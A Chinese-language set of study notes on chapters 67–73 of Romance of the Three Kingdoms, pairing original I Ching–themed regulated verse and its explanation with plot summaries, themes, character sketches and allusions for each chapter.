    曹操平定汉中地：曹操率军进攻汉中，张鲁派杨昂、杨任等人抵御。起初曹操进攻受阻，但之后曹操用计谋，以退军为名使张鲁懈怠无备，然后分轻骑袭其后，杨昂中计被杀。张鲁请庞德出马与曹操对战，曹操想收降庞德，便派奸细混入张鲁地盘，贿赂张鲁手下谋士杨松。杨松挑唆张鲁，逼走庞德，后来张鲁披挂出阵时，杨松又闭锁城门不准他回。张鲁走投无路，只得投降曹操。曹操因欣赏张鲁的仁德，重赏了他，而卖主求荣的杨松则被斩于市。


    张辽威震逍遥津：曹操占据东川后，虎视西川，刘备危急。诸葛亮派使臣往说孙权，先还荆州三郡以表诚意，许诺若吴助蜀夺下东川，荆州全数奉还。孙权出兵袭合肥，曹操分张辽救援。张辽在逍遥津以少胜多，打得孙权闻风丧胆，吴兵折损大半，孙权骑马飞越过桥才得以逃脱。从此，张辽杀得江南人人害怕，在江南，小孩听闻张辽之名夜不敢啼哭。


    3. 主题：这一回主要体现了战争中的智谋与勇略的重要性，以及局势的瞬息万变。曹操通过计谋和用人之术取得汉中，展示了他的军事才能和领导智慧；张辽在逍遥津的出色表现则凸显了将领的勇猛和果敢对战局的关键影响。同时，也反映了各方势力之间的相互博弈和竞争。


    4. 情节：


    曹操攻汉中：曹操大兵压境，张鲁与其弟张卫商议对策。第一战张鲁凭借地势等优势获得小胜，但随后曹操用计使张鲁一方放松警惕，派轻骑偷袭成功。


    庞德出战：张鲁派庞德出战曹操，曹操见庞德勇猛，起了收服之心，于是用计让张鲁阵营中的杨松从中作梗，导致庞德归降曹操。


    张鲁投降：杨松的背叛使得张鲁陷入绝境，最终被迫投降曹操，曹操对张鲁和杨松进行了不同的处置。


    张辽战孙权：孙权响应诸葛亮的提议


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    ，出兵袭击合肥，曹操派张辽救援。张辽在逍遥津以少胜多，大败孙权军队，让孙权十分狼狈。


    5. 主要人物：


    曹操：作为这一回的主要人物之一，他展现出了卓越的军事才能和领导智慧，成功平定汉中，扩大了自己的势力范围。


    张辽：以勇猛果敢着称，在逍遥津一战中威震敌军，让东吴军队闻风丧胆，为曹操阵营立下大功。


    张鲁：汉中的统治者，虽然有一定实力，但在曹操的攻势和内部背叛的情况下最终投降。


    杨松：张鲁手下的谋士，贪财好利，卖主求荣，最终被曹操所杀。


    孙权：东吴的君主，为了争夺利益出兵合肥，但在张辽的攻击下遭遇惨败。


    6. 经典诗句和典故：


    诗句方面：铁骑甫能平陇右，旌旄又复指江南。此句体现了曹操军队的强大战斗力以及曹操不断扩张的野心，刚刚平定了陇右，又将旗帜指向了江南地区。


    典故方面：这一回中有张辽威震逍遥津的典故。逍遥津之战中，张辽以少胜多，打得孙权落荒而逃，从此张辽的威名在江南地区广为流传。此典故也成为了中国古代战争史上以少胜多的经典战例之一，被后人所铭记。


    二、《周易哲学视角下的曹操与张辽之战》


    《三国演义》第 67 回“曹操平定汉中地，张辽威震逍遥津”，描绘了一段波澜壮阔的历史篇章。在这一章节中，曹操与张辽的军事行动展现出了非凡的智慧与勇气，而通过周易哲学的深度解析，我们能更深入地理解其中蕴含的哲理与深意。


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 第68章 甘宁百骑劫魏营 左慈掷杯戏曹操

    一、七律诗《周易哲学视角下的甘宁百骑劫魏营与左慈掷杯戏曹》：


    （一）《奇谋幻戏》


    周易哲思透世尘，甘宁百骑勇劫营。


    乾刚胆略展豪气，坤厚同心战敌兵。


    左慈掷杯玄机弄，魏王惊惑运数更。


    阴阳变幻无常势，史册传奇载妙评。


    （二）诠释：


    诗的首联“周易哲思透世尘”，点明了整首诗是以周易哲学的视角来审视这一历史事件；“甘宁百骑勇劫营”则直接描述了甘宁率领百骑劫魏营的英勇壮举。


    颔联“乾刚胆略展豪气，坤厚同心战敌兵”，“乾刚”体现了甘宁的果敢与刚毅，“坤厚”则强调了团队的协作与齐心，展现了甘宁及其部下的英勇无畏和团结一心。


    颈联“左慈掷杯玄机弄，魏王惊惑运数更”，描述了左慈以神奇法术掷杯戏曹，让曹操感到困惑与震惊，同时也暗示了命运的无常与变幻。


    尾联“阴阳变幻无常势，史册传奇载妙评”，总结了周易哲学中阴阳变化的道理，以及这一历史事件在史册上留下的传奇与精彩评价。


    整首诗通过周易哲学的视角，深入剖析了甘宁百骑劫魏营与左慈掷杯戏曹这两个情节所蕴含的哲理与深意，展现了历史的波澜壮阔与奇妙莫测。


    （三）《三国演义》第 68回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第 68 回回目为“甘宁百骑劫魏营 左慈掷杯戏曹操”。


    梗概：


    甘宁劫营：孙权在濡须口整顿军马时，得知曹操自汉中领兵四十万前来救合淝。张昭建议先挫曹操锐气，孙权询问谁敢当先破敌，凌统表示愿带三千人，甘宁却称只需百骑便可破敌，二人在孙权面前起了争执。之后凌统带三千军出濡须口哨探，与张辽交锋五十合不分胜败，被吕蒙接应回营。甘宁向孙权立下军令状，只带一百人马去劫曹营，若损一人一马不算功。他与百名士兵吃饱喝足后，二更时分杀向曹营，在营内左冲右突，杀得曹兵惊慌失措，最后从南门杀出，不折一人一骑返回濡须。


    左慈戏曹：曹操被封为“魏王”后，出行用天子车服銮仪，在邺郡盖魏王宫，商议立世子。孙权派人送了四十余担大柑子到邺郡，途中被道士左慈使用幻化之术将柑子变空心。左慈求见曹操，向他言修行之事，曹操不信欲杀他，左慈却使用法术隐身，曹操令人斩左慈，慈却不死，曹操被吓得不知所措。


    主题：


    英勇无畏：通过甘宁百骑劫魏营的壮举，展现了甘宁的英勇无畏和果敢，强调了在战争中将领的勇气和智谋对于取得胜利的重要性。甘宁以区区百骑就敢冲击曹操的四十万大军营寨，这种胆量和勇气令人钦佩。


    神秘奇幻：左慈掷杯戏曹操的情节充满了神秘奇幻色彩，增添了故事的趣味性和传奇性，也反映出当时人们对于神仙方术的一种想象和追求，同时暗示了曹操的权势虽大，但仍有一些超自然的力量是他无法掌控的。


    权力与野心：曹操被封为魏王，立世子、用天子车服銮仪等行为，体现了他的权力欲和野心不断膨胀，这也为后来曹魏政权的建立奠定了基础。


    情节：


    战前争议：曹操大军压境，孙权帐下凌统和甘宁就破敌所需兵力产生争论，凌统认为三千人可破敌，甘宁却称百骑足矣，


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    凸显出两人的性格差异和争强好胜的心态。


    劫营过程：甘宁率百骑二更出发，以白鹅翎为号，冲入曹营后左冲右突，如入无人之境，曹兵不知敌兵多少，自相扰乱。甘宁成功劫营后，回到濡须口，孙权亲自迎接并赏赐甘宁。


    后续战斗：次日张辽引兵搦战，凌统为争功愿战张辽，两人斗五十合未分胜败。曹操令曹休放冷箭，射中凌统坐下马，凌统被掀翻在地，乐进持枪来刺时被甘宁放箭射中面门落马。之后曹操分兵五路来袭濡须，孙权、周泰等将领与曹军展开激战，陈武被庞德所杀。


    左慈施法：左慈将孙权送的柑子变空心，又在曹操面前展示法术，曹操欲杀他却杀不死，左慈的种种神奇法术让曹操惊恐万分。


    主要人物：


    甘宁：东吴猛将，有勇有谋，敢作敢为，以百骑劫曹营，威震敌胆，为东吴立下大功。


    左慈：神秘的道士，法术高强，敢于戏弄曹操，展现出其超凡的能力和不羁的性格。


    曹操：曹魏势力的领导者，野心勃勃，被封为魏王后权势更盛，但在面对左慈的法术时也表现出惊慌和无奈。


    孙权：东吴之主，善于用人，在甘宁劫营成功后对其大加赞赏，面对曹操的进攻，能根据局势及时调整战略，派步骘去求和。


    凌统：东吴将领，与甘宁有隙，但在甘宁救他之后，与甘宁结为生死之交。


    经典诗句：“鼙鼓声喧震地来，吴师到处鬼神哀！百翎直贯曹家寨，尽说甘宁虎将才。”此诗生动地描绘了甘宁劫营时的声势浩大以及甘宁的勇猛，让人们对甘宁的虎将之才赞叹不已。


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 第69章 卜周易管辂知机，讨汉贼五臣死节

    一、七律诗《周易之辩：管辂知机与五臣死节的忠义挣扎》：


    （一）《周易之辩》


    管辂神算窥天机，五臣舍命忠义持。


    卦象变幻玄机隐，热血挥洒节义痴。


    命运无常心未改，汉贼可讨志难移。


    周易争辩明善恶，青史永铭壮烈时。


    （二）诠释：


    诗的首联“管辂神算窥天机，五臣舍命忠义持”，描绘了管辂神奇的预知能力以及五臣为忠义而不惜牺牲生命的壮举。


    颔联“卦象变幻玄机隐，热血挥洒节义痴”，进一步强调了周易卦象的神秘莫测，以及五臣为坚守节义而挥洒热血的执着。


    颈联“命运无常心未改，汉贼可讨志难移”，表达了尽管命运变化无常，但他们的心志从未改变，讨伐汉贼的志向坚定不移。


    尾联“周易争辩明善恶，青史永铭壮烈时”，指出周易的争辩彰显了善恶之分，而他们的壮烈事迹将永远铭刻在历史长河中。


    整首诗通过对管辂知机和五臣死节的描写，展现了忠义与命运的挣扎，以及他们在历史中的重要意义。


    （三）《三国演义》第 69回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第 69 回的回目为“卜周易管辂知机，讨汉贼五臣死节”。


    梗概：


    曹操被左慈惊吓后得了病，服药无用。太史丞许芝推荐神卜管辂，曹操差人将管辂召来。管辂为曹操卜筮诸事，皆灵验，曹操想封他为太史，但管辂婉言拒绝。管辂算出东吴鲁肃身故、西蜀有兵犯界，后来皆应验。


    耿纪、韦晃、金祎和太医吉平的两个儿子吉邈、吉穆，对曹操的专权不满，趁许都正月十五庆赏元宵佳节之际，以放火为号讨伐曹操，但事情败露。夏侯惇率兵围住许都，杀了这五人及其全家老小、宗族。


    曹洪、张合领兵到汉中，与吴兰初战告胜。马超令紧守隘口，派人申报成都。


    主题：


    这一回主要体现了“忠义”与“奸雄”的对立主题。五臣欲讨伐曹操，展现出对汉室的忠诚以及对曹操“汉贼”行为的反抗，体现了忠义之士为维护汉室正统不惜舍生取义；而曹操作为“汉贼”的代表，其权势滔天、掌控朝政，与忠义之士形成鲜明对比。同时，也反映出在乱世之中，不同人物为了各自的理想和目标所做出的选择和行动，以及命运的无常，如管辂虽能卜算天机，但也无法改变一些人的命运。


    情节：


    管辂卜筮：曹操生病，太史丞许芝推荐管辂。管辂精通《周易》，知晓天机，曹操令其卜卦。管辂算出曹操的病情无大碍，还预言了东吴鲁肃身亡、西蜀有兵犯界等事，后来都一一应验，曹操对管辂的能力深信不疑。


    五臣密谋：耿纪、韦晃、金祎三人对曹操进封王爵、出入用天子车服的行为感到不满，商议讨伐曹操。太医吉平的两个儿子吉邈、吉穆为父报仇，也加入其中。五人对天立誓，歃血为盟。


    元宵起义：正月十五元宵佳节，五人以放火为号，准备在许都发动起义。他们火烧王必家宅，王必得知后报与曹休，曹休与夏侯惇率军前来镇压。


    镇压与杀戮：夏侯惇的军队很快扑灭了起义之火，五人及其全家老小、宗族都被夏侯渊杀死，王必也中箭身死。


    汉中战事：曹洪、张合、夏侯渊到汉中，与蜀汉军队发生冲突。张飞守巴西，张颌与张飞即将有一场战斗（为后续情节埋下伏笔）。</


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    主要人物：


    管辂：字公明，平原人，精通《周易》，能卜算天机，擅长治鬼邪之病，相术通神。他被许芝推荐给曹操，为曹操卜筮，其预言十分灵验。


    曹操：作为“汉贼”的代表人物，权势极大，进封王爵后出入用天子车服，引起了朝中一些忠义之士的不满。他对管辂的卜筮能力感到惊奇，想封管辂为太史，但被拒绝。


    耿纪：字季行，洛阳人，原是丞相府掾，后迁侍中少府，对曹操的专权行为不满，与韦晃密谋讨伐曹操。


    韦晃：司直，与耿纪关系密切，一同参与了讨伐曹操的行动。


    金祎：汉相金日磾之后，素有讨曹之心，与王必关系深厚，在耿纪、韦晃的劝说下加入了讨伐曹操的队伍。


    吉邈、吉穆：太医吉平的儿子，为父报仇，参与了讨伐曹操的行动。


    经典诗句：“飞步凌云遍九州，独凭遁甲自遨游。等闲施设神仙术，点悟曹瞒不转头。”这首诗是后人赞左慈的，左慈在书中是一个神秘的道士，曾用仙术戏弄曹操，这里的诗句体现了左慈的神通广大以及曹操的顽固不化。


    典故：


    管辂神卜：管辂善于卜筮，能算出过去未来之事，在这一回中准确预言了鲁肃之死、西蜀出兵等事，展现出其神奇的占卜能力。这一典故突出了管辂的智慧和神秘色彩，也为故事增添了奇幻的元素。


    五臣死节：耿纪、韦晃、金祎、吉邈、吉穆五人因不满曹操的专权，奋起反抗，最终失败被杀，他们的行为被称为“死节”，体现了忠义之士的气节和精神。这一事件在历史上被传为佳话，也成为了《三国演义》中忠义精神的体现。


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 第70章 猛张飞智取瓦口隘，老黄忠计夺天荡山

    一、七律诗《周易智慧在战争中的闪耀——解析〈猛张飞智取瓦口隘，老黄忠计夺天荡山〉》


    （一）《周易智慧战中芒》


    周易智谋战里彰，张飞智取隘关防。


    黄忠妙计夺天荡，智勇交锋史册长。


    动静相生玄妙蕴，刚柔并济道昭彰。


    阴阳转化乾坤定，兵法传奇耀四方。


    （二）诠释：


    诗的首联“周易智谋战里彰，张飞智取隘关防”，点明了主题，强调周易智慧在战争中大放异彩，突出了张飞智取瓦口隘的谋略。


    颔联“黄忠妙计夺天荡，智勇交锋史册长”，描述了黄忠用计夺取天荡山的壮举，展现了他们的智勇双全，这些事迹也将在历史长河中长久流传。


    颈联“动静相生玄妙蕴，刚柔并济道昭彰”，深入阐述了周易哲学中动静相生、刚柔并济的道理，这也是张飞和黄忠在战争中运用的策略所体现的智慧。


    尾联“阴阳转化乾坤定，兵法传奇耀四方”，再次强调了周易哲学中阴阳转化的理念，以及这种智慧在战争中所展现出的传奇光芒，使其影响广泛深远。


    整首诗以周易智慧为线索，生动地描绘了张飞和黄忠在战争中的精彩表现，展现了战争中智谋与勇气的结合，以及周易哲学的深刻内涵。


    （三）《三国演义》第 70回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《猛张飞智取瓦口隘，老黄忠计夺天荡山》


    梗概：


    张飞智取瓦口隘：张合率三万兵分守宕渠寨、蒙头寨、荡石寨三寨。他分兵一半去取巴西，留一半守寨。张飞与雷铜商议用伏兵之计，与张合交战，张合大败，退守宕渠山。张合坚守不战，张飞便每日饮酒，坐于山前辱骂。张合中计，夜袭张飞营寨，却中了张飞的埋伏，三寨俱失，只得奔瓦口关去了。


    黄忠计夺天荡山：张合兵败后向曹洪求救，曹洪不肯发兵，让张合用五千兵马及两小将去袭葭萌关将功赎罪。葭萌关守将孟达要迎敌，结果大败而回。刘备请军师商议，诸葛亮认为非张飞无人可敌张合，但法正提议从帐中诸将内选一人。老将黄忠挺身而出，愿斩张合首级，还带上老将严颜为副将。黄忠与张合对阵，张合嘲笑黄忠年老，黄忠大怒，与之交战。随后黄忠用骄兵之计，佯败数阵，退百余里。趁敌娇纵麻木，黄忠杀回，与早已埋伏好的严颜前后夹击，大败曹军，直杀至天荡山，夺下山头。


    主题：这一回主要展现了蜀军将领张飞和黄忠的智慧与勇猛，强调了在战争中运用计谋和勇气的重要性，同时也体现了老当益壮、不可轻视老将的精神。


    情节：


    张飞战张合：张飞与张合初次交战，张合大败后坚守不战。张飞用饮酒诱敌之计，引得张合夜袭，张飞早有准备，大败张合，夺了他的三寨。之后张合奔瓦口关，张飞和魏延连日攻打关隘不下，便另寻小路奇袭。


    黄忠战张合：葭萌关告急，孟达迎敌失败。黄忠主动请战，与严颜搭档。面对张合的轻视，黄忠愤怒出战。之后黄忠用骄兵之计，多次佯败，最后与严颜前后夹击，大败张合，夺取天荡山。


    主要人物：


    张飞：性格勇猛且粗中有细，用计诱使张合出战，成功夺取瓦口隘，展现出了他的智谋和果敢。


    黄忠：老当益壮，英勇无畏，面对张合的嘲笑毫不畏惧，用骄兵之计和出色的战术夺取天荡山。


    张合：曹魏名将，虽有一定的军事才能，但在与张飞、黄忠的对战中，因轻敌和中计而接连战


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    败。


    严颜：与黄忠搭档的老将，协助黄忠夺取天荡山，起到了重要的辅助作用。


    曹洪：曹魏将领，在张合兵败求救时，起初不肯发兵，后又让张合去袭葭萌关将功赎罪。


    经典诗句和典故：这一回中没有特别着名的独立诗句，但整体故事体现了《三国演义》中常见的兵法谋略的运用，如张飞的诱敌之计、黄忠的骄兵之计等，这些都可视为古代战争智慧的体现。在文学表达上，通过对人物的语言、动作描写，生动地展现了各位将领的性格特点和战争场景，使读者如临其境。在典故方面，黄忠老当益壮的形象可与战国时期的廉颇相提并论，他们都是年事已高但仍能在战场上奋勇杀敌的老将代表。


    二、《周易智慧在战争中的闪耀——解析〈猛张飞智取瓦口隘，老黄忠计夺天荡山〉》


    《三国演义》第七十回“猛张飞智取瓦口隘，老黄忠计夺天荡山”，这一情节不仅展现了惊心动魄的战争场面，更蕴含了深刻的哲学思考。以周易哲学的角度来深度解析这一情节，可以发现其中隐藏的智慧与玄机。


    在周易哲学中，阴阳相互转化、动静相生相克是其核心观念之一。张飞和黄忠在这场战争中的表现，完美地诠释了这一哲学理念。


    张飞，以勇猛无畏着称，他在智取瓦口隘的过程中，展现出了刚猛之外的智谋。他深知张合的性格特点和战术习惯，巧妙地运用了“以静制动”的策略。当张合坚守不战之时，张飞并没有急躁冲动，而是选择了耐心等待，以逸待劳。这种静的姿态，并非是消极的等待，而是在积蓄力量，等


    待时机的成熟。正如周易中所说的“坤”之静，能包容万物，孕育变化。


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 第71章 占对山黄忠逸待劳，据汉水赵云寡胜众

    一、七律诗《周易哲学视角下的“占对山黄忠逸待劳，据汉水赵云寡胜众”解析》：


    （一）《逸劳寡胜蕴哲思》


    周易玄机妙入诗，对山逸待见黄忠。


    汉水激战赵云勇，寡众悬殊智谋宏。


    阴阳燮理乾坤定，刚柔并济势难穷。


    时势洞察握胜券，兵法哲思映世中。


    （二）诠释：


    诗的首联“周易玄机妙入诗，对山逸待见黄忠”，点明了主题，以周易哲学为视角来解析这一情节。“对山逸待”体现了黄忠的策略。


    颔联“汉水激战赵云勇，寡众悬殊智谋宏”，描述了赵云在汉水之战中的英勇表现和以寡胜众的智谋。


    颈联“阴阳燮理乾坤定，刚柔并济势难穷”，深入探讨了周易哲学中的阴阳燮理和刚柔并济的道理，与黄忠、赵云的战术相呼应。


    尾联“时势洞察握胜券，兵法哲思映世中”，强调了他们对时势的洞察和把握，以及其中蕴含的兵法哲学在世间的映照。


    整首诗通过描绘这一历史情节，展现了周易哲学的深邃内涵和在战争中的应用。你觉得这样的诠释如何呢？你还可以提出更多的要求和建议，让我们一起把这首诗解读得更加深入和精彩。


    （三）《三国演义》第 71回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第 71 回的回目为“占对山黄忠逸待劳，据汉水赵云寡胜众”。


    梗概：


    曹操听说刘备领军来取汉中，起兵四十万亲征。途中经过蓝田时，看望蔡邕之女蔡琰，并看到了曹娥碑上的字谜，杨修率先解开此谜。


    黄忠与法正屯兵于定军山口，多次挑战，夏侯渊坚守不出。后来黄忠听从法正“反客为主”之计，步步为营，先夺定军山西一山头。夏侯渊派夏侯尚出战，被黄忠生擒，之后双方交换人质。黄忠又一箭射中夏侯尚，夏侯渊大怒出战，被黄忠以逸待劳斩杀，黄忠夺了定军山。


    曹操亲率大军为夏侯渊报仇，黄忠出战后被困，赵云奉诸葛亮之命前来接应。赵云单枪匹马冲入重围，救出黄忠及部将张着。之后赵云据守汉水，使用计策，大开营门，偃旗息鼓，独自立于营外，曹军以为有伏兵，不敢前进。曹操催督众军前进，赵云趁机指挥蜀军弓弩齐发，杀得曹军大败，曹军自相践踏，死伤无数。


    主题：此回主要展现了黄忠的老当益壮、有勇有谋，以及赵云的英勇无畏、临危不惧，突出了蜀汉将领的出色才能和强大的战斗力。同时，也反映了战争中智慧、勇气和策略的重要性。


    情节：


    曹操出征与访蔡琰：曹操亲征汉中，兵出潼关，路过蓝田时想起与蔡邕的旧情，便前往蔡邕庄上看望其女蔡琰，并与杨修一同解读了蔡邕留在曹娥碑上的“黄绢幼妇，外孙齑臼”的字谜。


    黄忠计斩夏侯渊：黄忠在法正的帮助下，对夏侯渊使用“反客为主”之计，诱使夏侯渊出战。夏侯渊不听张合的劝阻，执意出战，结果被黄忠斩杀，黄忠夺取了定军山。


    赵云救黄忠与汉水大捷：曹操大军前来报仇，黄忠去劫曹操粮草被围，赵云杀入重围救出黄忠和张着。随后赵云据守汉水，采用“空营计”，大败曹军。


    主要人物：


    黄忠：蜀汉老将，勇猛且有智谋，在本回中听从法正之计，斩杀夏侯渊，立


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    下大功。


    赵云：蜀汉名将，英勇无敌，单枪匹马救黄忠，又在汉水以寡胜众，被刘备称赞“一身都是胆”。


    曹操：曹魏政权的领导者，亲征汉中为夏侯渊报仇。


    法正：蜀汉谋士，为黄忠出谋划策，帮助黄忠取得胜利。


    夏侯渊：曹魏将领，性格刚猛，勇有余而智不足，最终被黄忠斩杀。


    杨修：曹操的主簿，才华出众，最先解开蔡邕留下的字谜。


    经典诗句：此回中可能没有特别经典且流传广泛的诗句，但《三国演义》中对于战斗场景等的描写有一些精彩的文辞表述，例如对赵云在汉水之战中英勇表现的描述：“忆昔常山赵子龙，年登七十建奇功。独诛四将来冲阵，犹似当阳救主雄。”不过这并非本回中直接出现的诗句，而是后人对赵云的赞誉之词，与本回情节相关。


    典故：


    绝妙好辞：蔡邕在曹娥碑上留下“黄绢幼妇，外孙齑臼”的字谜，杨修解开此谜为“绝妙好辞”，体现了杨修的才思敏捷。


    空营计：赵云在汉水之战中使用的计策，大开营门，偃旗息鼓，独自立于营外，使曹军以为有伏兵，不敢前进，然后趁机攻击曹军，取得胜利，此计与诸葛亮的“空城计”类似。


    二、《周易哲学视角下的“占对山黄忠逸待劳，据汉水赵云寡胜众”解析》


    《三国演义》第 71 回“占对山黄忠逸待劳，据汉水赵云寡胜众”这一情节，展现了战争的智谋与英勇，蕴含着深刻的哲理。从周易哲学的角度来深度解析这一情节，可以发现其中隐藏着的阴阳变化、刚柔相济等智慧。


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 第72章 诸葛亮智取汉中 曹阿瞒兵退斜谷

    一、七律诗《周易智慧在汉中之战中的映照——诸葛亮与曹操的智谋交锋》：


    （一）《智谋交锋》


    汉中战火映天机，周易智谋两霸持。


    诸葛筹谋施妙计，孟德应变苦寻思。


    阴阳变幻乾坤定，刚柔相推阵势奇。


    千古英雄谋略竞，风云际会史书垂。


    （二）诠释：


    诗的首联“汉中战火映天机，周易智谋两霸持”，点明了汉中之战这一历史背景，以及周易智慧在其中的重要作用，诸葛亮与曹操作为双方的霸主，各自运用智谋。


    颔联“诸葛筹谋施妙计，孟德应变苦寻思”，具体描述了诸葛亮的精心谋划和曹操的苦苦应对思考，展现出双方智谋的较量。


    颈联“阴阳变幻乾坤定，刚柔相推阵势奇”，进一步阐释了周易中阴阳变化和刚柔相济的道理在战争中的体现，双方的阵势变化如同乾坤的定夺。


    尾联“千古英雄谋略竞，风云际会史书垂”，总结了这场智谋交锋中英雄们的卓越表现，他们的谋略之争将永载史册，成为历史的风云篇章。


    （三）《三国演义》第72回名为“诸葛亮智取汉中，曹阿瞒兵退斜谷”。


    梗概：


    前期战斗：徐晃不听王平苦谏渡汉水扎营，与黄忠、赵云交战，被黄忠和赵云用计击败，徐晃死战得脱。王平因谏言不被采纳且怕被徐晃加害，放火烧营后渡汉水投赵云，向刘备详细告知了汉水地理。


    曹操亲征：曹操得知徐晃战败、王平降刘备后大怒，亲统大军来夺汉水寨栅。赵云恐孤军难立，退于汉水之西，两军隔水相拒。诸葛亮见汉水上流头有一带土山可伏兵，便安排赵云带五百人伏于土山之下，依计行事。曹军被骚扰得彻夜不安，曹操心怯，拔寨退三十里。


    决战与追击：诸葛亮请玄德亲渡汉水背水结营，曹操见此心中疑惑，下战书与刘备决战。次日两军对阵，曹操见蜀兵背水安营、多弃马匹军器，心中起疑。但曹操急于捉拿刘备，在蜀兵佯装败退时中计，被黄忠、赵云左右夹攻，曹兵大溃而逃。诸葛亮连夜追赶，曹操败走。


    后续局势变化：曹操传令军回南郑，却发现魏延、张飞已得严颜代守阆中并分兵杀来，先得了南郑。曹操心惊，望阳平关而走，玄德大兵追至南郑褒州。


    主题：此回主要展现了诸葛亮的智谋、曹操的多疑以及各方将领的勇略，突出了战争中的谋略运用和局势的瞬息万变，同时也反映了曹魏与蜀汉之间的激烈争斗。


    情节：


    徐晃兵败：徐晃渡汉水扎营后，从辰时搦战至申时，蜀兵按兵不动。待曹兵弓弩手射尽箭矢、军势将疲时，黄忠、赵云分兵两路夹攻，徐晃大败，军士逼入汉水死者无数。


    杨修猜令：曹操屯兵日久，进兵受阻，欲收兵又恐被耻笑，心中犹豫不决。适庖官进鸡汤，曹操见碗中有鸡肋，有感于怀，随口说出“鸡肋”作为夜间口号。行军主簿杨修见此，便教随行军士收拾行装准备归程，称“鸡肋者，食之无肉，弃之有味。今进不能胜，退恐人笑，在此无益，不如早归”。


    曹操斩杨修：曹操见夏侯惇寨内军士都在准备行装，大惊，得知是杨修猜出自己心意后大怒，以“乱我军心”之罪将杨修斩了。


    魏延射曹操：曹操兵出斜谷界口，遭蜀将魏延、马超前后夹击。曹操正立马于高处看两军争战，魏延突然杀至面前，拈弓搭箭射中曹操面部，折断其门牙两颗，幸有庞德战退魏延，保曹操前行。


    主要


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    人物：


    诸葛亮：蜀汉丞相，足智多谋，指挥若定，用计击败曹军，帮助刘备夺取汉中。


    曹操：曹魏势力首领，生性多疑，虽能用兵，但在这一回中多次决策失误，且因杨修猜到自己退兵的心思而将其斩杀。


    杨修：曹操的主簿，聪明有才，但恃才放旷，屡次犯曹操之忌，最终因“鸡肋”事件被曹操以惑乱军心之罪处死。


    黄忠：蜀汉老将，勇猛善战，与赵云配合击败徐晃。


    赵云：蜀汉名将，有勇有谋，执行诸葛亮的计策，在战斗中发挥了重要作用。


    魏延：蜀汉将领，勇猛无畏，射伤曹操。


    庞德：曹魏将领，忠勇护主，战退魏延，保护曹操。


    经典诗句和典故：


    经典诗句：“聪明杨德祖，世代继簪缨。笔下龙蛇走，胸中锦绣成。开谈惊四座，捷对冠群英。身死因才误，非关欲退兵。”这首诗是后人对杨修的评价，既肯定了他的才华，又对他因才招祸的结局表示惋惜。


    典故：


    鸡肋典故：曹操以“鸡肋”作为夜间口号，杨修根据“鸡肋食之无肉，弃之有味”的特点，猜出曹操有退兵之意，这一典故常用来比喻做事情没有多大意义，而放弃又可惜的情况。


    曹操梦中杀人：曹操害怕有人暗中谋害自己，常说自己梦中好杀人，有一日曹操睡觉时被子落地，近侍为其盖被，曹操竟拔剑斩之，随后又假装睡觉，醒来后佯惊问“何人杀吾近侍”，众人告知实情，曹操痛哭，命厚葬之。但杨修知道曹操的真实意图，临葬时指而叹曰：“丞相非在梦中，君乃在梦中耳！”此典故表现了曹操的多疑和残


    忍。


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 第73章 玄德进位汉中王 云长攻拔襄阳郡

    一、七律诗《周易哲学视角下的“玄德进位汉中王 云长攻拔襄阳郡”》：


    （一）《周易哲思映史篇》


    玄德进位汉王宣，云长攻城威名传。


    乾坤变化运帷幄，刚柔并济战阵前。


    否泰交替势难测，亢龙有悔警世言。


    周易哲思透今古，三国风云入眼帘。


    （二）诠释：


    诗的首联“玄德进位汉王宣，云长攻城威名传”，直接点明了刘备进位汉中王和关羽攻拔襄阳郡这两个主要事件。


    颔联“乾坤变化运帷幄，刚柔并济战阵前”，体现了周易哲学中关于天地变化的理念，以及在战争中运用刚柔相济的策略。


    颈联“否泰交替势难测，亢龙有悔警世言”，则表达了事物发展的不确定性，如否极泰来的变化，以及亢龙有悔的警示，暗示了命运的起伏和教训。


    尾联“周易哲思透今古，三国风云入眼帘”，强调了周易哲学的深刻意义能够贯穿古今，而三国时期的风云变幻也在其中得到了体现。


    整首诗以周易哲学为视角，深入剖析了“玄德进位汉中王 云长攻拔襄阳郡”这一历史情节，展现了其中蕴含的哲理与智慧。


    （三）《三国演义》第 73回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第73回的回目为“玄德进位汉中王 云长攻拔襄阳郡”。


    梗概：


    曹操在汉中与刘备的战斗中兵败，又被魏延射了一箭，三军锐气堕尽，退回京兆。


    刘备取得汉中后，安民已定，大赏三军，人心大悦。众将欲推尊玄德为帝，刘备推辞，后经诸葛亮等人劝说，自封汉中王，立刘禅为王世子，封诸葛亮为军师，关羽、张飞、赵云、马超、黄忠为五虎上将，并上表许都。


    曹操得知刘备自封汉中王，大怒，欲兴兵讨伐。司马懿献离间计，建议曹操联合东吴共同对付刘备。东吴因荆州之痛，想先与关羽结亲共同破魏，若不成则合力破蜀。


    关羽拒绝了东吴的结亲提议。曹操大兵南下，关羽挫其锐气，取得襄阳，又准备进攻樊城。


    主题：


    权力更迭与正统之争：刘备自封汉中王，体现了当时群雄逐鹿、各霸一方的局势，以及对权力和正统地位的追求。这一回展示了刘备集团势力的进一步壮大，以及其在三国鼎立局面中逐渐站稳脚跟的过程。


    人物性格与命运：通过对刘备的谨慎谦逊、关羽的高傲自负等人物性格的刻画，暗示了他们未来的命运走向。关羽拒绝东吴结亲，为后来东吴偷袭荆州埋下了伏笔。


    战略谋划与联盟变化：曹操与东吴的联盟意向，以及各方势力之间的相互算计和战略谋划，展现了三国时期政治、军事斗争的复杂性和多变性。


    情节：


    刘备进位汉中王：


    刘备取得汉中后，众将皆有推尊玄德为帝之心，刘备起初推辞，认为自己是汉臣，不可称帝。但经诸葛亮劝说，为凝聚军心，决定退而求其次，自封汉中王，并进行了一系列的封官赏赐，确立了自己的统治地位。


    曹操的反应与决策：曹操在邺郡闻知玄德自立汉中王，十分愤怒，欲起兵征讨。司马懿献计，让曹操联合东吴取荆州，使刘备首尾不能相救，曹操大喜，依计行事。


    东吴的策略与


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    行动：东吴因荆州之痛，对刘备怀恨在心。先是想与关羽结亲，共同破魏，被关羽拒绝后，便商议与曹操联合破蜀。


    关羽攻拔襄阳郡：关羽受命领兵进攻襄阳，杀散曹兵，取得襄阳后，又准备渡襄江攻取樊城。


    主要人物：


    刘备：在这一回中展现出了他的仁义和谦逊，同时也有对权力的追求。他在众人的推举下，经过一番推辞后自封汉中王，巩固了自己的势力。


